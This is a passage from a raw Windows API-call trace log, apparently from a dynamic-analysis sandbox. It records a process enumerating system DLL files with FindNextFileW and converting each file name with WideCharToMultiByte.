lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0xddc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0xddc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0xddc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0024.072] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0xddc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0xddc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0024.073] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0024.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0xddc288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.074] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0024.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.074] WideCharToMultiByte (in: 